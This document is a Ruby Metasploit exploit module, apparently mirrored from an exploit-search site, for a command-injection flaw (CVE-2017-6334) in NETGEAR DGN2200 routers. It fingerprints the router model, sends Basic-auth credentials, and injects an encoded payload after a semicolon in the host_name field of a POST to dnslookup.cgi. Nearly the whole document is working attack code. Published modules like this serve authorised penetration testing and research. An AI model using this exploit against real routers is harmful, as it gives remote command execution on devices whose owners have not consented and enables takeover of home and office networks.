Exploit for Netgear DGN2200 dnslookup.cgi Command Injection

## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-NETGEAR_DNSLOOKUP_CMD_EXEC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection",
        'Description' => %q{
          This module exploits a command injection vulnerablity in NETGEAR
          DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
          with valid login details.
        },
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Author' => [
          'thecarterb',  # Metasploit Module
          'SivertPL'     # Vuln discovery
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [ 'NETGEAR DDGN2200 Router', {} ]
        ],
        'References' => [
          [ 'EDB', '41459'],
          [ 'CVE', '2017-6334']
        ],
        'DisclosureDate' => '2017-02-25',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )

    register_advanced_options(
      [
        OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
      ]
    )
  end

  # Requests the login page which tells us the hardware version
  def check
    res = send_request_cgi({ 'uri' => '/' })
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
    # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      return CheckCode::Unknown('Could not determine NETGEAR model') if model.nil?

      vprint_status("Router is a NETGEAR router (#{model})")
      model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
      if model_numbers.include?(model)
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected("Target detected: model #{model}")
      else
        return CheckCode::Safe("Model #{model} is not vulnerable")
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe('NETGEAR router not detected')
    end
  end

  def default_credential?
    true
  end

  def exploit
    check

    # Convert datastores
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    hostname = datastore['HOSTNAME']

    vprint_status("Using encoder: #{payload.encoder} ")
    print_status('Sending payload...')

    vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")

    creds_combined = Base64.strict_encode64("#{user}:#{pass}")
    vprint_status("Encoded authentication: #{creds_combined}")

    res = send_request_cgi({
      'uri' => '/dnslookup.cgi',
      'headers' => {
        'Authorization' => "Basic #{creds_combined}"
      },
      'vars_post' => {
        'lookup' => 'Lookup',
        'host_name' => hostname + '; ' + payload.encoded
      }
    })
  end
end